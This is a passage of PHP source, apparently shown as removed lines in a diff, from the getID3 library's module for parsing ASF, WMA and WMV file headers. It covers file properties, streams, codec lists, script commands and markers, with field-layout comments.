-///////////////////////////////////////////////////////////////// -// // -// module.audio-video.asf.php // -// module for analyzing ASF, WMA and WMV files // -// dependencies: module.audio-video.riff.php // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} -getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true); - -class getid3_asf extends getid3_handler -{ - /** - * @param getID3 $getid3 - */ - public function __construct(getID3 $getid3) { - parent::__construct($getid3); // extends getid3_handler::__construct() - - // initialize all GUID constants - $GUIDarray = $this->KnownGUIDs(); - foreach ($GUIDarray as $GUIDname => $hexstringvalue) { - if (!defined($GUIDname)) { - define($GUIDname, $this->GUIDtoBytestring($hexstringvalue)); - } - } - } - - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - // Shortcuts - $thisfile_audio = &$info['audio']; - $thisfile_video = &$info['video']; - $info['asf'] = array(); - $thisfile_asf = &$info['asf']; - $thisfile_asf['comments'] = array(); - $thisfile_asf_comments = &$thisfile_asf['comments']; - $thisfile_asf['header_object'] = array(); - $thisfile_asf_headerobject = &$thisfile_asf['header_object']; - - - // ASF structure: - // * Header Object [required] - // * File Properties Object [required] (global file attributes) - // * Stream Properties Object [required] (defines media stream & characteristics) - // * Header Extension Object [required] (additional functionality) - // * Content Description Object (bibliographic information) - // * Script Command Object (commands for during playback) - // * Marker Object (named jumped points within the file) - // * Data Object [required] - // * Data Packets - // * Index Object - - // Header Object: (mandatory, one only) - // Field Name Field Type Size (bits) - // Object ID GUID 128 // GUID for header object - GETID3_ASF_Header_Object - // Object Size QWORD 64 // size of header object, including 30 bytes of Header Object header - // Number of Header Objects DWORD 32 // number of objects in header object - // Reserved1 BYTE 8 // hardcoded: 0x01 - // Reserved2 BYTE 8 // hardcoded: 0x02 - - $info['fileformat'] = 'asf'; - - $this->fseek($info['avdataoffset']); - $HeaderObjectData = $this->fread(30); - - $thisfile_asf_headerobject['objectid'] = substr($HeaderObjectData, 0, 16); - $thisfile_asf_headerobject['objectid_guid'] = $this->BytestringToGUID($thisfile_asf_headerobject['objectid']); - if ($thisfile_asf_headerobject['objectid'] != GETID3_ASF_Header_Object) { - unset($info['fileformat'], $info['asf']); - return $this->error('ASF header GUID {'.$this->BytestringToGUID($thisfile_asf_headerobject['objectid']).'} does not match expected "GETID3_ASF_Header_Object" GUID {'.$this->BytestringToGUID(GETID3_ASF_Header_Object).'}'); - } - $thisfile_asf_headerobject['objectsize'] = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 16, 8)); - $thisfile_asf_headerobject['headerobjects'] = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 24, 4)); - $thisfile_asf_headerobject['reserved1'] = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 28, 1)); - $thisfile_asf_headerobject['reserved2'] = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 29, 1)); - - $NextObjectOffset = $this->ftell(); - $ASFHeaderData = $this->fread($thisfile_asf_headerobject['objectsize'] - 30); - $offset = 0; - $thisfile_asf_streambitratepropertiesobject = array(); - $thisfile_asf_codeclistobject = array(); - $StreamPropertiesObjectData = array(); - - for ($HeaderObjectsCounter = 0; $HeaderObjectsCounter < $thisfile_asf_headerobject['headerobjects']; $HeaderObjectsCounter++) { - $NextObjectGUID = substr($ASFHeaderData, $offset, 16); - $offset += 16; - $NextObjectGUIDtext = $this->BytestringToGUID($NextObjectGUID); - $NextObjectSize = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); - $offset += 8; - switch ($NextObjectGUID) { - - case GETID3_ASF_File_Properties_Object: - // File Properties Object: (mandatory, one only) - // Field Name Field Type Size (bits) - // Object ID GUID 128 // GUID for file properties object - GETID3_ASF_File_Properties_Object - // Object Size QWORD 64 // size of file properties object, including 104 bytes of File Properties Object header - // File ID GUID 128 // unique ID - identical to File ID in Data Object - // File Size QWORD 64 // entire file in bytes. Invalid if Broadcast Flag == 1 - // Creation Date QWORD 64 // date & time of file creation. Maybe invalid if Broadcast Flag == 1 - // Data Packets Count QWORD 64 // number of data packets in Data Object. Invalid if Broadcast Flag == 1 - // Play Duration QWORD 64 // playtime, in 100-nanosecond units. Invalid if Broadcast Flag == 1 - // Send Duration QWORD 64 // time needed to send file, in 100-nanosecond units. Players can ignore this value. Invalid if Broadcast Flag == 1 - // Preroll QWORD 64 // time to buffer data before starting to play file, in 1-millisecond units. If <> 0, PlayDuration and PresentationTime have been offset by this amount - // Flags DWORD 32 // - // * Broadcast Flag bits 1 (0x01) // file is currently being written, some header values are invalid - // * Seekable Flag bits 1 (0x02) // is file seekable - // * Reserved bits 30 (0xFFFFFFFC) // reserved - set to zero - // Minimum Data Packet Size DWORD 32 // in bytes. should be same as Maximum Data Packet Size. Invalid if Broadcast Flag == 1 - // Maximum Data Packet Size DWORD 32 // in bytes. should be same as Minimum Data Packet Size. Invalid if Broadcast Flag == 1 - // Maximum Bitrate DWORD 32 // maximum instantaneous bitrate in bits per second for entire file, including all data streams and ASF overhead - - // shortcut - $thisfile_asf['file_properties_object'] = array(); - $thisfile_asf_filepropertiesobject = &$thisfile_asf['file_properties_object']; - - $thisfile_asf_filepropertiesobject['offset'] = $NextObjectOffset + $offset; - $thisfile_asf_filepropertiesobject['objectid'] = $NextObjectGUID; - $thisfile_asf_filepropertiesobject['objectid_guid'] = $NextObjectGUIDtext; - $thisfile_asf_filepropertiesobject['objectsize'] = $NextObjectSize; - $thisfile_asf_filepropertiesobject['fileid'] = substr($ASFHeaderData, $offset, 16); - $offset += 16; - $thisfile_asf_filepropertiesobject['fileid_guid'] = $this->BytestringToGUID($thisfile_asf_filepropertiesobject['fileid']); - $thisfile_asf_filepropertiesobject['filesize'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); - $offset += 8; - $thisfile_asf_filepropertiesobject['creation_date'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); - $thisfile_asf_filepropertiesobject['creation_date_unix'] = $this->FILETIMEtoUNIXtime($thisfile_asf_filepropertiesobject['creation_date']); - $offset += 8; - $thisfile_asf_filepropertiesobject['data_packets'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); - $offset += 8; - $thisfile_asf_filepropertiesobject['play_duration'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); - $offset += 8; - $thisfile_asf_filepropertiesobject['send_duration'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); - $offset += 8; - $thisfile_asf_filepropertiesobject['preroll'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); - $offset += 8; - $thisfile_asf_filepropertiesobject['flags_raw'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); - $offset += 4; - $thisfile_asf_filepropertiesobject['flags']['broadcast'] = (bool) ($thisfile_asf_filepropertiesobject['flags_raw'] & 0x0001); - $thisfile_asf_filepropertiesobject['flags']['seekable'] = (bool) ($thisfile_asf_filepropertiesobject['flags_raw'] & 0x0002); - - $thisfile_asf_filepropertiesobject['min_packet_size'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); - $offset += 4; - $thisfile_asf_filepropertiesobject['max_packet_size'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); - $offset += 4; - $thisfile_asf_filepropertiesobject['max_bitrate'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); - $offset += 4; - - if ($thisfile_asf_filepropertiesobject['flags']['broadcast']) { - - // broadcast flag is set, some values invalid - unset($thisfile_asf_filepropertiesobject['filesize']); - unset($thisfile_asf_filepropertiesobject['data_packets']); - unset($thisfile_asf_filepropertiesobject['play_duration']); - unset($thisfile_asf_filepropertiesobject['send_duration']); - unset($thisfile_asf_filepropertiesobject['min_packet_size']); - unset($thisfile_asf_filepropertiesobject['max_packet_size']); - - } else { - - // broadcast flag NOT set, perform calculations - $info['playtime_seconds'] = ($thisfile_asf_filepropertiesobject['play_duration'] / 10000000) - ($thisfile_asf_filepropertiesobject['preroll'] / 1000); - - //$info['bitrate'] = $thisfile_asf_filepropertiesobject['max_bitrate']; - $info['bitrate'] = ((isset($thisfile_asf_filepropertiesobject['filesize']) ? $thisfile_asf_filepropertiesobject['filesize'] : $info['filesize']) * 8) / $info['playtime_seconds']; - } - break; - - case GETID3_ASF_Stream_Properties_Object: - // Stream Properties Object: (mandatory, one per media stream) - // Field Name Field Type Size (bits) - // Object ID GUID 128 // GUID for stream properties object - GETID3_ASF_Stream_Properties_Object - // Object Size QWORD 64 // size of stream properties object, including 78 bytes of Stream Properties Object header - // Stream Type GUID 128 // GETID3_ASF_Audio_Media, GETID3_ASF_Video_Media or GETID3_ASF_Command_Media - // Error Correction Type GUID 128 // GETID3_ASF_Audio_Spread for audio-only streams, GETID3_ASF_No_Error_Correction for other stream types - // Time Offset QWORD 64 // 100-nanosecond units. typically zero. added to all timestamps of samples in the stream - // Type-Specific Data Length DWORD 32 // number of bytes for Type-Specific Data field - // Error Correction Data Length DWORD 32 // number of bytes for Error Correction Data field - // Flags WORD 16 // - // * Stream Number bits 7 (0x007F) // number of this stream. 1 <= valid <= 127 - // * Reserved bits 8 (0x7F80) // reserved - set to zero - // * Encrypted Content Flag bits 1 (0x8000) // stream contents encrypted if set - // Reserved DWORD 32 // reserved - set to zero - // Type-Specific Data BYTESTREAM variable // type-specific format data, depending on value of Stream Type - // Error Correction Data BYTESTREAM variable // error-correction-specific format data, depending on value of Error Correct Type - - // There is one GETID3_ASF_Stream_Properties_Object for each stream (audio, video) but the - // stream number isn't known until halfway through decoding the structure, hence it - // it is decoded to a temporary variable and then stuck in the appropriate index later - - $StreamPropertiesObjectData['offset'] = $NextObjectOffset + $offset; - $StreamPropertiesObjectData['objectid'] = $NextObjectGUID; - $StreamPropertiesObjectData['objectid_guid'] = $NextObjectGUIDtext; - $StreamPropertiesObjectData['objectsize'] = $NextObjectSize; - $StreamPropertiesObjectData['stream_type'] = substr($ASFHeaderData, $offset, 16); - $offset += 16; - $StreamPropertiesObjectData['stream_type_guid'] = $this->BytestringToGUID($StreamPropertiesObjectData['stream_type']); - $StreamPropertiesObjectData['error_correct_type'] = substr($ASFHeaderData, $offset, 16); - $offset += 16; - $StreamPropertiesObjectData['error_correct_guid'] = $this->BytestringToGUID($StreamPropertiesObjectData['error_correct_type']); - $StreamPropertiesObjectData['time_offset'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); - $offset += 8; - $StreamPropertiesObjectData['type_data_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); - $offset += 4; - $StreamPropertiesObjectData['error_data_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); - $offset += 4; - $StreamPropertiesObjectData['flags_raw'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); - $offset += 2; - $StreamPropertiesObjectStreamNumber = $StreamPropertiesObjectData['flags_raw'] & 0x007F; - $StreamPropertiesObjectData['flags']['encrypted'] = (bool) ($StreamPropertiesObjectData['flags_raw'] & 0x8000); - - $offset += 4; // reserved - DWORD - $StreamPropertiesObjectData['type_specific_data'] = substr($ASFHeaderData, $offset, $StreamPropertiesObjectData['type_data_length']); - $offset += $StreamPropertiesObjectData['type_data_length']; - $StreamPropertiesObjectData['error_correct_data'] = substr($ASFHeaderData, $offset, $StreamPropertiesObjectData['error_data_length']); - $offset += $StreamPropertiesObjectData['error_data_length']; - - switch ($StreamPropertiesObjectData['stream_type']) { - - case GETID3_ASF_Audio_Media: - $thisfile_audio['dataformat'] = (!empty($thisfile_audio['dataformat']) ? $thisfile_audio['dataformat'] : 'asf'); - $thisfile_audio['bitrate_mode'] = (!empty($thisfile_audio['bitrate_mode']) ? $thisfile_audio['bitrate_mode'] : 'cbr'); - - $audiodata = getid3_riff::parseWAVEFORMATex(substr($StreamPropertiesObjectData['type_specific_data'], 0, 16)); - unset($audiodata['raw']); - $thisfile_audio = getid3_lib::array_merge_noclobber($audiodata, $thisfile_audio); - break; - - case GETID3_ASF_Video_Media: - $thisfile_video['dataformat'] = (!empty($thisfile_video['dataformat']) ? $thisfile_video['dataformat'] : 'asf'); - $thisfile_video['bitrate_mode'] = (!empty($thisfile_video['bitrate_mode']) ? $thisfile_video['bitrate_mode'] : 'cbr'); - break; - - case GETID3_ASF_Command_Media: - default: - // do nothing - break; - - } - - $thisfile_asf['stream_properties_object'][$StreamPropertiesObjectStreamNumber] = $StreamPropertiesObjectData; - unset($StreamPropertiesObjectData); // clear for next stream, if any - break; - - case GETID3_ASF_Header_Extension_Object: - // Header Extension Object: (mandatory, one only) - // Field Name Field Type Size (bits) - // Object ID GUID 128 // GUID for Header Extension object - GETID3_ASF_Header_Extension_Object - // Object Size QWORD 64 // size of Header Extension object, including 46 bytes of Header Extension Object header - // Reserved Field 1 GUID 128 // hardcoded: GETID3_ASF_Reserved_1 - // Reserved Field 2 WORD 16 // hardcoded: 0x00000006 - // Header Extension Data Size DWORD 32 // in bytes. valid: 0, or > 24. equals object size minus 46 - // Header Extension Data BYTESTREAM variable // array of zero or more extended header objects - - // shortcut - $thisfile_asf['header_extension_object'] = array(); - $thisfile_asf_headerextensionobject = &$thisfile_asf['header_extension_object']; - - $thisfile_asf_headerextensionobject['offset'] = $NextObjectOffset + $offset; - $thisfile_asf_headerextensionobject['objectid'] = $NextObjectGUID; - $thisfile_asf_headerextensionobject['objectid_guid'] = $NextObjectGUIDtext; - $thisfile_asf_headerextensionobject['objectsize'] = $NextObjectSize; - $thisfile_asf_headerextensionobject['reserved_1'] = substr($ASFHeaderData, $offset, 16); - $offset += 16; - $thisfile_asf_headerextensionobject['reserved_1_guid'] = $this->BytestringToGUID($thisfile_asf_headerextensionobject['reserved_1']); - if ($thisfile_asf_headerextensionobject['reserved_1'] != GETID3_ASF_Reserved_1) { - $this->warning('header_extension_object.reserved_1 GUID ('.$this->BytestringToGUID($thisfile_asf_headerextensionobject['reserved_1']).') does not match expected "GETID3_ASF_Reserved_1" GUID ('.$this->BytestringToGUID(GETID3_ASF_Reserved_1).')'); - //return false; - break; - } - $thisfile_asf_headerextensionobject['reserved_2'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); - $offset += 2; - if ($thisfile_asf_headerextensionobject['reserved_2'] != 6) { - $this->warning('header_extension_object.reserved_2 ('.$thisfile_asf_headerextensionobject['reserved_2'].') does not match expected value of "6"'); - //return false; - break; - } - $thisfile_asf_headerextensionobject['extension_data_size'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); - $offset += 4; - $thisfile_asf_headerextensionobject['extension_data'] = substr($ASFHeaderData, $offset, $thisfile_asf_headerextensionobject['extension_data_size']); - $unhandled_sections = 0; - $thisfile_asf_headerextensionobject['extension_data_parsed'] = $this->HeaderExtensionObjectDataParse($thisfile_asf_headerextensionobject['extension_data'], $unhandled_sections); - if ($unhandled_sections === 0) { - unset($thisfile_asf_headerextensionobject['extension_data']); - } - $offset += $thisfile_asf_headerextensionobject['extension_data_size']; - break; - - case GETID3_ASF_Codec_List_Object: - // Codec List Object: (optional, one only) - // Field Name Field Type Size (bits) - // Object ID GUID 128 // GUID for Codec List object - GETID3_ASF_Codec_List_Object - // Object Size QWORD 64 // size of Codec List object, including 44 bytes of Codec List Object header - // Reserved GUID 128 // hardcoded: 86D15241-311D-11D0-A3A4-00A0C90348F6 - // Codec Entries Count DWORD 32 // number of entries in Codec Entries array - // Codec Entries array of: variable // - // * Type WORD 16 // 0x0001 = Video Codec, 0x0002 = Audio Codec, 0xFFFF = Unknown Codec - // * Codec Name Length WORD 16 // number of Unicode characters stored in the Codec Name field - // * Codec Name WCHAR variable // array of Unicode characters - name of codec used to create the content - // * Codec Description Length WORD 16 // number of Unicode characters stored in the Codec Description field - // * Codec Description WCHAR variable // array of Unicode characters - description of format used to create the content - // * Codec Information Length WORD 16 // number of Unicode characters stored in the Codec Information field - // * Codec Information BYTESTREAM variable // opaque array of information bytes about the codec used to create the content - - // shortcut - $thisfile_asf['codec_list_object'] = array(); - $thisfile_asf_codeclistobject = &$thisfile_asf['codec_list_object']; - - $thisfile_asf_codeclistobject['offset'] = $NextObjectOffset + $offset; - $thisfile_asf_codeclistobject['objectid'] = $NextObjectGUID; - $thisfile_asf_codeclistobject['objectid_guid'] = $NextObjectGUIDtext; - $thisfile_asf_codeclistobject['objectsize'] = $NextObjectSize; - $thisfile_asf_codeclistobject['reserved'] = substr($ASFHeaderData, $offset, 16); - $offset += 16; - $thisfile_asf_codeclistobject['reserved_guid'] = $this->BytestringToGUID($thisfile_asf_codeclistobject['reserved']); - if ($thisfile_asf_codeclistobject['reserved'] != $this->GUIDtoBytestring('86D15241-311D-11D0-A3A4-00A0C90348F6')) { - $this->warning('codec_list_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_codeclistobject['reserved']).'} does not match expected "GETID3_ASF_Reserved_1" GUID {86D15241-311D-11D0-A3A4-00A0C90348F6}'); - //return false; - break; - } - $thisfile_asf_codeclistobject['codec_entries_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); - $offset += 4; - for ($CodecEntryCounter = 0; $CodecEntryCounter < $thisfile_asf_codeclistobject['codec_entries_count']; $CodecEntryCounter++) { - // shortcut - $thisfile_asf_codeclistobject['codec_entries'][$CodecEntryCounter] = array(); - $thisfile_asf_codeclistobject_codecentries_current = &$thisfile_asf_codeclistobject['codec_entries'][$CodecEntryCounter]; - - $thisfile_asf_codeclistobject_codecentries_current['type_raw'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); - $offset += 2; - $thisfile_asf_codeclistobject_codecentries_current['type'] = self::codecListObjectTypeLookup($thisfile_asf_codeclistobject_codecentries_current['type_raw']); - - $CodecNameLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character - $offset += 2; - $thisfile_asf_codeclistobject_codecentries_current['name'] = substr($ASFHeaderData, $offset, $CodecNameLength); - $offset += $CodecNameLength; - - $CodecDescriptionLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character - $offset += 2; - $thisfile_asf_codeclistobject_codecentries_current['description'] = substr($ASFHeaderData, $offset, $CodecDescriptionLength); - $offset += $CodecDescriptionLength; - - $CodecInformationLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); - $offset += 2; - $thisfile_asf_codeclistobject_codecentries_current['information'] = substr($ASFHeaderData, $offset, $CodecInformationLength); - $offset += $CodecInformationLength; - - if ($thisfile_asf_codeclistobject_codecentries_current['type_raw'] == 2) { // audio codec - - if (strpos($thisfile_asf_codeclistobject_codecentries_current['description'], ',') === false) { - $this->warning('[asf][codec_list_object][codec_entries]['.$CodecEntryCounter.'][description] expected to contain comma-separated list of parameters: "'.$thisfile_asf_codeclistobject_codecentries_current['description'].'"'); - } else { - - list($AudioCodecBitrate, $AudioCodecFrequency, $AudioCodecChannels) = explode(',', $this->TrimConvert($thisfile_asf_codeclistobject_codecentries_current['description'])); - $thisfile_audio['codec'] = $this->TrimConvert($thisfile_asf_codeclistobject_codecentries_current['name']); - - if (!isset($thisfile_audio['bitrate']) && strstr($AudioCodecBitrate, 'kbps')) { - $thisfile_audio['bitrate'] = (int) trim(str_replace('kbps', '', $AudioCodecBitrate)) * 1000; - } - //if (!isset($thisfile_video['bitrate']) && isset($thisfile_audio['bitrate']) && isset($thisfile_asf['file_properties_object']['max_bitrate']) && ($thisfile_asf_codeclistobject['codec_entries_count'] > 1)) { - if (empty($thisfile_video['bitrate']) && !empty($thisfile_audio['bitrate']) && !empty($info['bitrate'])) { - //$thisfile_video['bitrate'] = $thisfile_asf['file_properties_object']['max_bitrate'] - $thisfile_audio['bitrate']; - $thisfile_video['bitrate'] = $info['bitrate'] - $thisfile_audio['bitrate']; - } - - $AudioCodecFrequency = (int) trim(str_replace('kHz', '', $AudioCodecFrequency)); - switch ($AudioCodecFrequency) { - case 8: - case 8000: - $thisfile_audio['sample_rate'] = 8000; - break; - - case 11: - case 11025: - $thisfile_audio['sample_rate'] = 11025; - break; - - case 12: - case 12000: - $thisfile_audio['sample_rate'] = 12000; - break; - - case 16: - case 16000: - $thisfile_audio['sample_rate'] = 16000; - break; - - case 22: - case 22050: - $thisfile_audio['sample_rate'] = 22050; - break; - - case 24: - case 24000: - $thisfile_audio['sample_rate'] = 24000; - break; - - case 32: - case 32000: - $thisfile_audio['sample_rate'] = 32000; - break; - - case 44: - case 441000: - $thisfile_audio['sample_rate'] = 44100; - break; - - case 48: - case 48000: - $thisfile_audio['sample_rate'] = 48000; - break; - - default: - $this->warning('unknown frequency: "'.$AudioCodecFrequency.'" ('.$this->TrimConvert($thisfile_asf_codeclistobject_codecentries_current['description']).')'); - break; - } - - if (!isset($thisfile_audio['channels'])) { - if (strstr($AudioCodecChannels, 'stereo')) { - $thisfile_audio['channels'] = 2; - } elseif (strstr($AudioCodecChannels, 'mono')) { - $thisfile_audio['channels'] = 1; - } - } - - } - } - } - break; - - case GETID3_ASF_Script_Command_Object: - // Script Command Object: (optional, one only) - // Field Name Field Type Size (bits) - // Object ID GUID 128 // GUID for Script Command object - GETID3_ASF_Script_Command_Object - // Object Size QWORD 64 // size of Script Command object, including 44 bytes of Script Command Object header - // Reserved GUID 128 // hardcoded: 4B1ACBE3-100B-11D0-A39B-00A0C90348F6 - // Commands Count WORD 16 // number of Commands structures in the Script Commands Objects - // Command Types Count WORD 16 // number of Command Types structures in the Script Commands Objects - // Command Types array of: variable // - // * Command Type Name Length WORD 16 // number of Unicode characters for Command Type Name - // * Command Type Name WCHAR variable // array of Unicode characters - name of a type of command - // Commands array of: variable // - // * Presentation Time DWORD 32 // presentation time of that command, in milliseconds - // * Type Index WORD 16 // type of this command, as a zero-based index into the array of Command Types of this object - // * Command Name Length WORD 16 // number of Unicode characters for Command Name - // * Command Name WCHAR variable // array of Unicode characters - name of this command - - // shortcut - $thisfile_asf['script_command_object'] = array(); - $thisfile_asf_scriptcommandobject = &$thisfile_asf['script_command_object']; - - $thisfile_asf_scriptcommandobject['offset'] = $NextObjectOffset + $offset; - $thisfile_asf_scriptcommandobject['objectid'] = $NextObjectGUID; - $thisfile_asf_scriptcommandobject['objectid_guid'] = $NextObjectGUIDtext; - $thisfile_asf_scriptcommandobject['objectsize'] = $NextObjectSize; - $thisfile_asf_scriptcommandobject['reserved'] = substr($ASFHeaderData, $offset, 16); - $offset += 16; - $thisfile_asf_scriptcommandobject['reserved_guid'] = $this->BytestringToGUID($thisfile_asf_scriptcommandobject['reserved']); - if ($thisfile_asf_scriptcommandobject['reserved'] != $this->GUIDtoBytestring('4B1ACBE3-100B-11D0-A39B-00A0C90348F6')) { - $this->warning('script_command_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_scriptcommandobject['reserved']).'} does not match expected "GETID3_ASF_Reserved_1" GUID {4B1ACBE3-100B-11D0-A39B-00A0C90348F6}'); - //return false; - break; - } - $thisfile_asf_scriptcommandobject['commands_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); - $offset += 2; - $thisfile_asf_scriptcommandobject['command_types_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); - $offset += 2; - for ($CommandTypesCounter = 0; $CommandTypesCounter < $thisfile_asf_scriptcommandobject['command_types_count']; $CommandTypesCounter++) { - $CommandTypeNameLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character - $offset += 2; - $thisfile_asf_scriptcommandobject['command_types'][$CommandTypesCounter]['name'] = substr($ASFHeaderData, $offset, $CommandTypeNameLength); - $offset += $CommandTypeNameLength; - } - for ($CommandsCounter = 0; $CommandsCounter < $thisfile_asf_scriptcommandobject['commands_count']; $CommandsCounter++) { - $thisfile_asf_scriptcommandobject['commands'][$CommandsCounter]['presentation_time'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); - $offset += 4; - $thisfile_asf_scriptcommandobject['commands'][$CommandsCounter]['type_index'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); - $offset += 2; - - $CommandTypeNameLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character - $offset += 2; - $thisfile_asf_scriptcommandobject['commands'][$CommandsCounter]['name'] = substr($ASFHeaderData, $offset, $CommandTypeNameLength); - $offset += $CommandTypeNameLength; - } - break; - - case GETID3_ASF_Marker_Object: - // Marker Object: (optional, one only) - // Field Name Field Type Size (bits) - // Object ID GUID 128 // GUID for Marker object - GETID3_ASF_Marker_Object - // Object Size QWORD 64 // size of Marker object, including 48 bytes of Marker Object header - // Reserved GUID 128 // hardcoded: 4CFEDB20-75F6-11CF-9C0F-00A0C90349CB - // Markers Count DWORD 32 // number of Marker structures in Marker Object - // Reserved WORD 16 // hardcoded: 0x0000 - // Name Length WORD 16 // number of bytes in the Name field - // Name WCHAR variable // name of the Marker Object - // Markers array of: variable // - // * Offset QWORD 64 // byte offset into Data Object - // * Presentation Time QWORD 64 // in 100-nanosecond units - // * Entry Length WORD 16 // length in bytes of (Send Time + Flags + Marker Description Length + Marker Description + Padding) - // * Send Time DWORD 32 // in milliseconds - // * Flags DWORD 32 // hardcoded: 0x00000000 - // * Marker Description Length DWORD 32 // number of bytes in Marker Description field - // * Marker Description WCHAR variable // array of Unicode characters - description of marker entry - // * Padding BYTESTREAM variable // optional padding bytes - - // shortcut - $thisfile_asf['marker_object'] = array(); - $thisfile_asf_markerobject = &$thisfile_asf['marker_object']; - - $thisfile_asf_markerobject['offset'] = $NextObjectOffset + $offset; - $thisfile_asf_markerobject['objectid'] = $NextObjectGUID; - $thisfile_asf_markerobject['objectid_guid'] = $NextObjectGUIDtext; - $thisfile_asf_markerobject['objectsize'] = $NextObjectSize; - $thisfile_asf_markerobject['reserved'] = substr($ASFHeaderData, $offset, 16); - $offset += 16; - $thisfile_asf_markerobject['reserved_guid'] = $this->BytestringToGUID($thisfile_asf_markerobject['reserved']); - if ($thisfile_asf_markerobject['reserved'] != $this->GUIDtoBytestring('4CFEDB20-75F6-11CF-9C0F-00A0C90349CB')) { - $this->warning('marker_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_markerobject['reserved_1']).'} does not match expected "GETID3_ASF_Reserved_1" GUID {4CFEDB20-75F6-11CF-9C0F-00A0C90349CB}'); - break; - } - $thisfile_asf_markerobject['markers_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); - $offset += 4; - $thisfile_asf_markerobject['reserved_2'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); - $offset += 2; - if ($thisfile_asf_markerobject['reserved_2'] != 0) { - $this->warning('marker_object.reserved_2 ('.$thisfile_asf_markerobject['reserved_2'].') does not match expected value of "0"'); - break; - } - $thisfile_asf_markerobject['name_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); - $offset += 2; - $thisfile_asf_markerobject['name'] = substr($ASFHeaderData, $offset, $thisfile_asf_markerobject['name_length']); - $offset += $thisfile_asf_markerobject['name_length']; - for ($MarkersCounter = 0; $MarkersCounter < $thisfile_asf_markerobject['markers_count']; $MarkersCounter++) { - $thisfile_asf_markerobject['markers'][$MarkersCounter]['offset'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); - $offset += 8; - $thisfile_asf_markerobject['markers'][$MarkersCounter]['presentation_time'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); - $offset += 8; - $thisfile_asf_markerobject['markers'][$MarkersCounter]['entry_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); - $offset += 2; - $thisfile_asf_markerobject['markers'][$MarkersCounter]['send_time'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); - $offset += 4; - $thisfile_asf_markerobject['markers'][$MarkersCounter]['flags'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); - $offset += 4; - $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); - $offset += 4; - $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description'] = substr($ASFHeaderData, $offset, $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length']); - $offset += $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length']; - $PaddingLength = $thisfile_asf_markerobject['markers'][$MarkersCounter]['entry_length'] - 4 - 4 - 4 - $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length']; - if ($PaddingLength > 0) { - $thisfile_asf_markerobject['markers'][$MarkersCounter]['padding'] = substr($ASFHeaderData, $offset, $PaddingLength); - $offset += $PaddingLength; - } - } - break; - - case GETID3_ASF_Bitrate_Mutual_Exclusion_Object: - // Bitrate Mutual Exclusion Object: (optional) - // Field Name Field Type Size (bits) - // Object ID GUID 128 // GUID for Bitrate Mutual Exclusion object - GETID3_ASF_Bitrate_Mutual_Exclusion_Object - // Object Size QWORD 64 // size of Bitrate Mutual Exclusion object, including 42 bytes of Bitrate Mutual Exclusion Object header - // Exlusion Type GUID 128 // nature of mutual exclusion relationship. one of: (GETID3_ASF_Mutex_Bitrate, GETID3_ASF_Mutex_Unknown) - // Stream Numbers Count WORD 16 // number of video streams - // Stream Numbers WORD variable // array of mutually exclusive video stream numbers. 1 <= valid <= 